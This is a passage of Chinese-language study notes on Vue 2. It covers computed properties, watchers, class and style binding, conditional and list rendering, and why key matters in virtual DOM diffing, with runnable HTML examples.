<html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>计算属性_插值语法</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> 姓: <input type="text" v-model="firstname"> <br> 名: <input type="text" v-model="lastname"> <br> 姓名:<span>{{firstname.slice(0,3)}}-{{lastname}}</span> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 new Vue({ el: "#root", data: { firstname: 'yy', lastname: 'kk' }, }) </script> </body> </html>计算属性_methods实现<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>计算属性_methods</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> 姓: <input type="text" v-model="firstname"> <br> 名: <input type="text" v-model="lastname"> <br> 姓名:<span>{{fullname()}}</span> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 new Vue({ el: "#root", data: { firstname: 'yy', lastname: 'kk' }, methods: { fullname() { console.log("@ --- fullname"); return this.firstname + '-' + this.lastname } }, }) </script> </body> </html>计算属性完整版写法<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>计算属性实现</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> 姓: <input type="text" v-model="firstname"> <br> 名: <input type="text" v-model="lastname"> <br> 测试:<input type="text" v-model="x"> <br> 姓名:<span>{{fullname}}</span> <br> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el: "#root", data: { firstname: 'yy', lastname: 'kk', x: 123 }, computed: { fullname: { // get有什么用?当有人读取fullname时,get就会被调用,且返回值作为fullname的值 // get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。 get() { console.log("get被调用了"); console.log(this); // 此处的this是vm return this.firstname + "-" + this.lastname }, // set什么时候被调用?当fullname被修改时 set(value) { console.log('set', value); const arr = value.split('-') this.firstname = arr[0] this.lastname = arr[1] } } } }) </script> </body> </html>计算属性简写<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>计算属性实现</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> 姓: <input type="text" v-model="firstname"> <br> 名: <input type="text" v-model="lastname"> <br> 姓名:<span>{{fullname}}</span> <br> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el: "#root", data: { firstname: 'yy', lastname: 'kk', x: 123 }, computed: { fullname() { console.log("get被调用了"); console.log(this); return this.firstname + "-" + this.lastname } } }) </script> </body> </html>2.11、监视属性(侦听属性)2.11.1、监视属性watch:当被监视的属性变化时, 回调函数自动调用, 进行相关操作监视的属性必须存在,才能进行监视,既可以监视data,也可以监视计算属性配置项属性 immediate:false,改为 true,则初始化调用一次 handler (newValue,oldValue)监视的两种写法:(1).new Vue时传入watch:{}配置(2).通过 vm.$watch 监视第一种写法<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>天气案例</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h3>今天天气{{state}}</h3> <!-- 绑定事件的时候:@click="xxx"可以写一些简单的语句 --> <!-- <button @click="isHot = !isHot;x++">切换天气</button> --> <button @click="changeWeather">切换天气</button> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el: "#root", data: { isHot: true, }, computed: { state() { return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather() { this.isHot = !this.isHot } }, }) </script> </body> </html>第二种写法<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>天气案例_监视属性</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h3>今天天气{{state}}</h3> <button @click="changeWeather">切换天气</button> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el: "#root", data: { isHot: true, }, computed: { state() { return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather() { this.isHot = !this.isHot } }, /*watch: { isHot: { immediate: true, // 初始化时让handler调用一下 // handler什么时候被调用?当isHot发生改变时。 handler(newValue, oldValue) { console.log('isHot被修改了'); } } }*/ }) vm.$watch('isHot', { immediate: true, // 初始化时让handler调用一下 // handler什么时候被调用?当isHot发生改变时。 handler(newValue, oldValue) { console.log('isHot被修改了'); } }) </script> </body> </html>2.11.2、深度监视:(1).Vue 中的watch默认不监测对象内部值的改变(一层)(2).配置watch中的 deep:true 可以监测对象内部值改变(多层)备注:(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以(2).使用watch时根据数据的具体结构,决定是否采用深度监视<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>深度监视</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h3>今天天气{{state}}</h3> <button @click="changeWeather">切换天气</button> <hr /> <h3>a的值为:{{numbers.a}}</h3> <button @click="numbers.a++">点击a+1</button> <h3>b的值为:{{numbers.b}}</h3> <button @click="numbers.b++">点击b+1</button> <button @click="numbers = {a:123,b:456}">彻底改变numbers</button> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el: "#root", data: { isHot: true, numbers: { a: 1, b: 2 } }, computed: { state() { return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather() { this.isHot = !this.isHot } }, watch: { isHot: { // immediate: true, // 初始化时让handler调用一下 // handler什么时候被调用?当isHot发生改变时。 handler(newValue, oldValue) { console.log('isHot被修改了'); } }, // 监视多级结构中某个属性的变化 /*'numbers.a': { handler() { console.log('a被改变了'); } }*/ // 监视多级属性中所有属性的变化 numbers: { deep: true, // 深度监视 handler() { console.log('numbers改变了'); } } } }) </script> </body> </html>监视属性简写<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>深度监视</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h3>今天天气{{state}}</h3> <button @click="changeWeather">切换天气</button> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el: "#root", data: { isHot: true, }, computed: { state() { return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather() { this.isHot = !this.isHot } }, watch: { // 正常写法 /*isHot: { immediate: true, // 初始化时让handler调用一下 deep: true, // 深度监视 handler(newValue, oldValue) { console.log('isHot被修改了'); } },*/ // 简写 /*isHot(newValue, oldValue) { console.log('isHot被修改了'); }*/ } }) // 正常写法 /*vm.$watch('isHot', { immediate: true, // 初始化时让handler调用一下 deep: true, // 深度监视 handler(newValue, oldValue) { console.log('isHot被修改了'); } })*/ // 简写 vm.$watch('isHot', function (newValue, oldValue) { console.log('isHot被修改了', newValue, oldValue, this); }) </script> </body> </html>2.12、计算属性/监听属性computed和watch之间的区别:computed能完成的功能,watch都可以完成watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作两个重要的小原则:1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是 vm 或 组件实例对象使用watch侦听属性<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>watch实现</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> 姓: <input type="text" v-model="firstname"> <br> 名: <input type="text" v-model="lastname"> <br> 姓名:<span>{{fullname}}</span> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 new Vue({ el: "#root", data: { firstname: 'yy', lastname: 'kk', fullname: 'yy-kk' }, watch: { firstname(val) { setTimeout(() => { this.fullname = val + '-' + this.lastname }, 1000); }, lastname(val) { this.fullname = this.firstname + val } }, }) </script> </body> </html>使用计算属性<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>计算属性实现</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> 姓: <input type="text" v-model="firstname"> <br> 名: <input type="text" v-model="lastname"> <br> 姓名:<span>{{fullname}}</span> <br> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el: "#root", data: { firstname: 'yy', lastname: 'kk', }, computed: { fullname() { return this.firstname + "-" + this.lastname } } }) </script> </body> </html>2.13、绑定样式2.13.1、class样式写法::class="xxx", xxx可以是字符串、对象、数组。:style=“[a,b]”,其中a、b是样式对象:style=“{fontsize: xxx}”,其中xxx是动态值所以分为三种写法,字符串写法,数组写法,对象写法字符串写法字符串写法适用于:类名不确定,要动态获取。<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>绑定样式</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> <style> .normal { background-color: red; } .basic { background-color: seagreen; } </style> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 --> <h1 class="normal" :class="sty" @click="changeMood">{{name}}</h1> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 new Vue({ el: '#demo', data: { name: 'yykk', sty: 'normal' }, methods: { changeMood() { const arr = ['normal', 'basic'] const index = Math.floor(Math.random() * 3) this.sty = arr[index] } }, }) </script> </body> </html>数组写法数组写法适用于:要绑定多个样式,个数不确定,名字也不确定。<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>绑定样式-数组</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> <style> .normal { background-color: red; } .basic { background-color: seagreen; } .pug { background-color: rgb(214, 24, 183); } .admin { border-radius: 10px; } </style> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定,名字也不确定 --> <h1 class="basic" :class="sty" @click="changeMood">{{name}}</h1> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 new Vue({ el: '#demo', data: { name: 'yykk', sty: ['pug', 'admin', 'basic'], }, methods: { changeMood() { const arr = ['normal', 'basic', 'pug', 'admin'] const index = Math.floor(Math.random() * 3) this.sty = arr[index] } }, }) </script> </body> </html>对象写法对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>绑定样式-对象</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> <style> .normal { background-color: red; } .basic { background-color: seagreen; } .pug { background-color: rgb(214, 24, 183); } .admin { border-radius: 10px; } </style> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定,名字也确定,但要动态决定是否使用 --> <h1 class="normal" :class="classObj">{{name}}</h1> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 new Vue({ el: '#demo', data: { name: 'yykk', classObj: { amdin: false, pug: false } }, methods: { changeMood() { const arr = ['normal', 'basic', 'pug', 'admin'] const index = Math.floor(Math.random() * 3) this.sty = arr[index] } }, }) </script> </body> </html>2.13.2、style样式有两种写法,对象写法,数组写法对象写法<!-- 准备好一个容器--> <div id="root"> <!-- 绑定style样式--对象写法 --> <div class="basic" :style="styleObj">{{name}}</div> </div> <script> const vm = new Vue({ el:'#root', data:{ styleObj:{ fontSize: '40px', color:'red', } } }) </script>数组写法<!-- 准备好一个容器--> <div id="root"> <!-- 绑定style样式--数组写法 --> <div class="basic" :style="styleArr">{{name}}</div> </div> <script> const vm = new Vue({ el:'#root', data:{ styleArr:[ { fontSize: '40px', color:'blue', }, { backgroundColor:'gray' } ] } }) </script>2.14、条件渲染v-if写法:(1)、v-if="表达式"(2)、v-else-if="表达式"(3)、v-else="表达式"适用于:切换频率较低的场景特点:不展示的DOM元素直接被移除注意:v-if 可以和 :v-else-if、v-else一起使用,但要求结构不能被“打断”<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>条件渲染</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <h3>当前n的值为:{{n}}</h3> <button @click="n++">点击测试</button> <!-- 使用v-show进行条件渲染 --> <!-- <h2 v-show="false">hello,{{name}}</h2> --> <!-- <h2 v-show="1 === 1">hello,{{name}}</h2> --> <!-- 使用v-if进行条件渲染 --> <!-- <h2 v-if="false">hello,{{name}}</h2> --> <!-- <h2 v-if="1 === 1">hello,{{name}}</h2> --> <!-- v-else和v-else-if --> <!-- <div v-if="n === 1">Angular</div> <div v-else-if="n === 2">React</div> <div v-else-if="n === 3">Vue</div> <div v-else>admin</div> --> <!-- v-if与template的配合使用 --> <template v-if="n === 1"> <h3>hello</h3> <h3>world</h3> <h3>广东</h3> </template> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 new Vue({ el: '#demo', data: { name: 'yykk', n: 0 }, }) </script> </body> </html>v-show写法:v-show="表达式"适用于:切换频率较高的场景特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉 (display:none)备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到v-if 是实打实地改变dom元素,v-show 是隐藏或显示dom元素template 标签不影响结构,页面 html 中不会存在此标签,但只能配合 v-if,不能配合v-show<!-- 准备好一个容器--> <div id="root"> <!-- 使用v-show做条件渲染 --> <h2 v-show="false">hello,{{name}}</h2> <h2 v-show="1 === 1">欢迎来到{{name}}</h2> </div>2.15、列表渲染v-for指令用于展示列表数据语法:v-for="(item, index) in xxx" :key="yyy",这里的 key 可以是 index,更好的遍历对象的唯一标识可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>基本列表</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <!-- 遍历数组 --> <h2>人员列表展示</h2> <ul> <li v-for="(p,index) in persons" ::key="p.id"> {{p.name}}-{{p.age}} </li> </ul> <h2>汽车信息</h2> <ul> <!-- 遍历对象 --> <li v-for="(c,index) of car" ::key="index"> {{c}}-{{index}} </li> </ul> <h2>测试遍历字符串</h2> <ul> <!-- 遍历字符串 --> <li v-for="(s,index) of str" ::key="index"> {{s}}-{{index}} </li> </ul> <h2>遍历指定次数</h2> <ul> <!-- 遍历指定次数 --> <li v-for="(number,index) of 10" ::key="index"> {{number}}-{{index}} </li> </ul> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 new Vue({ el: '#demo', data: { persons: [{ id: '01', name: '张三', age: 18 }, { id: '02', name: '李四', age: 19 }, { id: '03', name: '王五', age: 20 }], car: { name: '奥迪A8', price: '70万', color: '黑色' }, str: 'hello,world' }, }) </script> </body> </html>key的原理vue中的key有什么作用?(key的内部原理)了解vue中key的原理需要一些前置知识。就是vue的虚拟dom,vue会根据 data中的数据生成虚拟dom,如果是第一次生成页面,就将虚拟dom转成真实dom,在页面展示出来。虚拟dom有啥用?每次vm._data 中的数据更改,都会触发生成新的虚拟dom,新的虚拟dom会跟旧的虚拟dom进行比较,如果有相同的,在生成真实dom时,这部分相同的就不需要重新生成,只需要将两者之间不同的dom转换成真实dom,再与原来的真实dom进行拼接。我的理解是虚拟dom就是起到了一个dom复用的作用,还有避免重复多余的操作,下文有详细解释。而key有啥用?key是虚拟dom的标识。先来点预备的知识:啥是真实 DOM?真实 DOM 和 虚拟 DOM 有啥区别?如何用代码展现真实 DOM 和 虚拟 DOM真实DOM和其解析流程(Virtual DOM)这里参考超级英雄大佬:https://juejin.cn/post/6844903895467032589webkit 渲染引擎工作流程图中文版所有的浏览器渲染引擎工作流程大致分为5步:创建 DOM 树 —> 创建 Style Rules -> 构建 Render 树 —> 布局 Layout -—> 绘制 Painting。第一步,构建 DOM 树:当浏览器接收到来自服务器响应的HTML文档后,会遍历文档节点,生成DOM树。需要注意的是在DOM树生成的过程中有可能会被CSS和JS的加载执行阻塞,渲染阻塞下面会讲到。第二步,生成样式表:用 CSS 分析器,分析 CSS 文件和元素上的 inline 样式,生成页面的样式表;渲染阻塞:当浏览器遇到一个script标签时,DOM构建将暂停,直到脚本加载执行,然后继续构建DOM树。每次去执行Javascript脚本都会严重阻塞DOM树构建,如果JavaScript脚本还操作了CSSDOM,而正好这个CSSDOM没有下载和构建,那么浏览器甚至会延迟脚本执行和构建DOM,直到这个CSSDOM的下载和构建。所以,script标签引入很重要,实际使用时可以遵循下面两个原则:css优先:引入顺序上,css资源先于js资源js后置:js代码放在底部,且js应尽量少影响DOM构建还有一个小知识:当解析html时,会把新来的元素插入dom树里,同时去查找css,然后把对应的样式规则应用到元素上,查找样式表是按照从右到左的顺序匹配的例如:div p {...},会先寻找所有p标签并判断它的父标签是否为div之后才决定要不要采用这个样式渲染。所以平时写css尽量用class或者id,不要过度层叠第三步,构建渲染树:通过DOM树和CSS规则我们可以构建渲染树。浏览器会从DOM树根节点开始遍历每个可见节点(注意是可见节点)对每个可见节点,找到其适配的CSS规则并应用。渲染树构建完后,每个节点都是可见节点并且都含有其内容和对应的规则的样式。这也是渲染树和DOM树最大的区别所在。渲染是用于显示,那些不可见的元素就不会在这棵树出现了。除此以外,display none的元素也不会被显示在这棵树里。visibility hidden的元素会出现在这棵树里。第四步,渲染布局:布局阶段会从渲染树的根节点开始遍历,然后确定每个节点对象在页面上的确切大小与位置,布局阶段的输出是一个盒子模型,它会精确地捕获每个元素在屏幕内的确切位置与大小。第五步,渲染树绘制:在绘制阶段,遍历渲染树,调用渲染器的paint()方法在屏幕上显示其内容。渲染树的绘制工作是由浏览器的UI后端组件完成的。注意点:1、DOM 树的构建是文档加载完成开始的? 构建 DOM 树是一个渐进过程,为达到更好的用户体验,渲染引擎会尽快将内容显示在屏幕上,它不必等到整个 HTML 文档解析完成之后才开始构建 render 树和布局。2、Render 树是 DOM 树和 CSS 样式表构建完毕后才开始构建的? 这三个过程在实际进行的时候并不是完全独立的,而是会有交叉,会一边加载,一边解析,以及一边渲染。3、CSS 的解析注意点? CSS 的解析是从右往左逆向解析的,嵌套标签越多,解析越慢。4、JS 操作真实 DOM 的代价?传统DOM结构操作方式对性能的影响很大,原因是频繁操作DOM结构操作会引起页面的重排(reflow)和重绘(repaint),浏览器不得不频繁地计算布局,重新排列和绘制页面元素,导致浏览器产生巨大的性能开销。直接操作真实DOM的性能特别差,我们可以来演示一遍。<div id="app"></div> <script> // 获取 DIV 元素 let box = document.querySelector('#app'); console.log(box); // 真实 DOM 操作 console.time('a'); for (let i = 0; i <= 10000; i++) { box.innerHTML = i; } console.timeEnd('a'); // 虚拟 DOM 操作 let num = 0; console.time('b'); for (let i = 0; i <= 10000; i++) { num = i; } box.innerHTML = num; console.timeEnd('b'); </script>从结果中可以看出,操作真实 DOM 的性能是非常差的,所以我们要尽可能的复用,减少 DOM 操作。虚拟 DOM 的好处虚拟 DOM 就是为了解决浏览器性能问题而被设计出来的。如前,若一次操作中有 10 次更新 DOM 的动作,虚拟 DOM 不会立即操作 DOM,而是将这 10 次更新的 diff 内容保存到本地一个 JS 对象中,最终将这个 JS 对象一次性 attch 到 DOM 树上,再进行后续操作,避免大量无谓的计算量。所以,用 JS 对象模拟 DOM 节点的好处是,页面的更新可以先全部反映在 JS 对象(虚拟 DOM )上,操作内存中的 JS 对象的速度显然要更快,等更新完成后,再将最终的 JS 对象映射成真实的 DOM,交由浏览器去绘制。虽然这一个虚拟 DOM 带来的一个优势,但并不是全部。虚拟 DOM 最大的优势在于抽象了原本的渲染过程,实现了跨平台的能力,而不仅仅局限于浏览器的 DOM,可以是安卓和 IOS 的原生组件,可以是近期很火热的小程序,也可以是各种GUI。回到最开始的问题,虚拟 DOM 到底是什么,说简单点,就是一个普通的 JavaScript 对象,包含了 tag、props、children 三个属性。接下来我们手动实现下 虚拟 DOM。分两种实现方式:一种原生 js DOM 操作实现;另一种主流虚拟 DOM 库(snabbdom、virtual-dom)的实现(用h函数渲染)(暂时还不理解)算法实现(1)用 JS 对象模拟 DOM 树:<div id="virtual-dom"> <p>Virtual DOM</p> <ul id="list"> <li class="item">Item 1</li> <li class="item">Item 2</li> <li class="item">Item 3</li> </ul> <div>Hello World</div> </div> 我们用 JavaScript 对象来表示 DOM 节点,使用对象的属性记录节点的类型、属性、子节点等。/** * Element virdual-dom 对象定义 * @param {String} tagName - dom 元素名称 * @param {Object} props - dom 属性 * @param {Array<Element|String>} - 子节点 */ function Element(tagName, props, children) { this.tagName = tagName; this.props = props; this.children = children; // dom 元素的 key 值,用作唯一标识符 if (props.key) { this.key = props.key } } function el(tagName, props, children) { return new Element(tagName, props, children); }构建虚拟的 DOM ,用 javascript 对象来表示let ul = el('div', { id: 'Virtual DOM' }, [ el('p', {}, ['Virtual DOM']), el('ul', { id: 'list' }, [ el('li', { class: 'item' }, ['Item 1']), el('li', { class: 'item' }, ['Item 2']), el('li', { class: 'item' }, ['Item 3']) ]), el('div', {}, ['Hello, World']) ])现在 ul 就是我们用 JavaScript 对象表示的 DOM 结构,我们输出查看 ul 对应的数据结构如下:(2)将用 js 对象表示的虚拟 DOM 转换成真实 DOM:需要用到 js 原生操作 DOM 的方法。/** * render 将virdual-dom 对象渲染为实际 DOM 元素 */ Element.prototype.render = function () { // 创建节点 let el = document.createElement(this.tagName); let props = this.props; // 设置节点的 DOM 属性 for (let propName in props) { let propValue = props[propName]; el.setAttribute(propName, propValue) } let children = this.children || [] for (let child of children) { let childEl = (child instanceof Element) ? child.render() // 如果子节点也是虚拟 DOM, 递归构建 DOM 节点 : document.createTextNode(child) // 如果是文本,就构建文本节点 el.appendChild(childEl); } return el; }我们通过查看以上 render 方法,会根据 tagName 构建一个真正的 DOM 节点,然后设置这个节点的属性,最后递归地把自己的子节点也构建起来。我们将构建好的 DOM 结构添加到页面 body 上面,如下:let ulRoot = ul.render(); document.body.appendChild(ulRoot);这样,页面 body 里面就有真正的 DOM 结构,效果如下图所示:我们知道虚拟 DOM 的好处和虚拟 DOM 的实现后就要讲讲 key 的作用了。贴一下上面实现地完整代码<script> /** * Element virdual-dom 对象定义 * @param {String} tagName - dom 元素名称 * @param {Object} props - dom 属性 * @param {Array<Element|String>} - 子节点 */ function Element(tagName, props, children) { this.tagName = tagName; this.props = props; this.children = children; // dom 元素的 key 值,用作唯一标识符 if (props.key) { this.key = props.key } } function el(tagName, props, children) { return new Element(tagName, props, children); } let ul = el('div', { id: 'Virtual DOM' }, [ el('p', {}, ['Virtual DOM']), el('ul', { id: 'list' }, [ el('li', { class: 'item' }, ['Item 1']), el('li', { class: 'item' }, ['Item 2']), el('li', { class: 'item' }, ['Item 3']) ]), el('div', {}, ['Hello, World']) ]) /** * render 将virdual-dom 对象渲染为实际 DOM 元素 */ Element.prototype.render = function () { // 创建节点 let el = document.createElement(this.tagName); let props = this.props; // 设置节点的 DOM 属性 for (let propName in props) { let propValue = props[propName]; el.setAttribute(propName, propValue) } let children = this.children || [] for (let child of children) { let childEl = (child instanceof Element) ? child.render() // 如果子节点也是虚拟 DOM, 递归构建 DOM 节点 : document.createTextNode(child) // 如果是文本,就构建文本节点 el.appendChild(childEl); } return el; } let ulRoot = ul.render(); document.body.appendChild(ulRoot); console.log(ul); </script>虚拟DOM中key的作用key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:旧虚拟DOM中找到了与新虚拟DOM相同的key:①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。旧虚拟DOM中未找到与新虚拟DOM相同的key创建新的真实DOM,随后渲染到到页面。好了,我们知道了最简单的key的原理,如果要继续研究下去就要涉及到vue的核心之一:Diff算法,后面会详细介绍。用index作为key可能会引发的问题:若对数据进行:逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。若对数据进行:逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。案例<!-- 准备好一个容器--> <div id="root"> <!-- 遍历数组 --> <h2>人员列表(遍历数组)</h2> <button @click.once="add">添加一个老刘</button> <ul> <li v-for="(p,index) of persons" :key="index"> {{p.name}}-{{p.age}} <input type="text"> </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { persons: [ { id: '001', name: '张三', age: 18 }, { id: '002', name: '李四', age: 19 }, { id: '003', name: '王五', age: 20 } ] }, methods: { add() { const p = { id: '004', name: '老刘', age: 40 } this.persons.unshift(p) } }, }); </script>解释:初始数据persons: [ { id: '001', name: '张三', age: 18 }, { id: '002', name: '李四', age: 19 }, { id: '003', name: '王五', age: 20 } ]vue根据数据生成虚拟 DOM初始虚拟 DOM<li key='0'>张三-18<input type="text"></li> <li key='1'>李四-19<input type="text"></li> <li key='2'>王五-20<input type="text"></li>将虚拟 DOM 转为 真实 DOMthis.persons.unshift({ id: '004', name: '小明', age: 12 })在 persons 数组最前面添加上 { id: '004', name: '小明', age: 12 }新数据:persons: [{ id: '004', name: '小明', age: 12 },{ id: '001', name: '张三', age: 18 }, { id: '002', name: '李四', age: 19 }, { id: '003', name: '王五', age: 20 } ]vue根据数据生成虚拟 DOM新虚拟 DOM<li key='0'>小明-12<input type="text"></li> <li key='1'>张三-18<input type="text"></li> <li key='3'>李四-19<input type="text"></li> <li key='4'>王五-20<input type="text"></li>将虚拟 DOM 转为 真实 DOM因为老刘被插到第一个,重刷了 key 的值,vue Diff 算法 根据 key 的值 判断 虚拟DOM 全部发生了改变,然后全部重新生成新的 真实 DOM。实际上,张三,李四,王五并没有发生更改,是可以直接复用之前的真实 DOM,而因为 key 的错乱,导致要全部重新生成,造成了性能的浪费。如果结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题。这回造成的就不是性能浪费了,会直接导致页面的错误结论:最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的正常使用 key一个面试题 ?React 、Vue 中的 key 有什么作用?(key的内部原理)虚拟DOM 中的 key 的作用: key 是虚拟DOM中对象的标识,当数据发生变化时,Vue 会根据新数据生成新的 虚拟DOM,随后 Vue 进行 虚拟DOM 与 旧的 虚拟DOM差异比较,比较规则如下:对比规则:旧 虚拟DOM 中找到了与新 虚拟DOM 形同的key若 虚拟DOM 中内容没变,直接使用之前的 真实DOM若 虚拟DOM中的内容发生了改变,则生成新的 真实DOM,随后替换页面中原来的 真实DOM旧 虚拟DOM中未找到与新 虚拟DOM相同的 key创建新的 真实DOM,随后渲染到页面用 index 作为 key可能遇到的问题若对数据进行逆序添加、删除等破坏顺序操作,会产生没有必要的 真实DOM 更新- - - >界面效果没问题,但是效率低若结构中还包含了输入类的 DOM:会产生错误 DOM 更新- - - >界面有问题开发中如何选择key?最好使用每条数据的唯一标识作为key,比如:id、手机号、学号、身份证号等唯一标识如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用index作为key 是没有问题的<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>绑定样式</title> <!-- 引入vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="demo"> <!-- 遍历数组 --> <h2>人员列表展示</h2> <button @click.once="addUser">添加一个用户</button> <ul> <li v-for="(p,index) in persons" :key="p.id"> {{p.name}}-{{p.age}} <input type="text"> </li> </ul> </div> <script> Vue.config.productionTip = false // 以阻止 vue 在启动时生成生产提示。 new Vue({ el: '#demo', data: { persons: 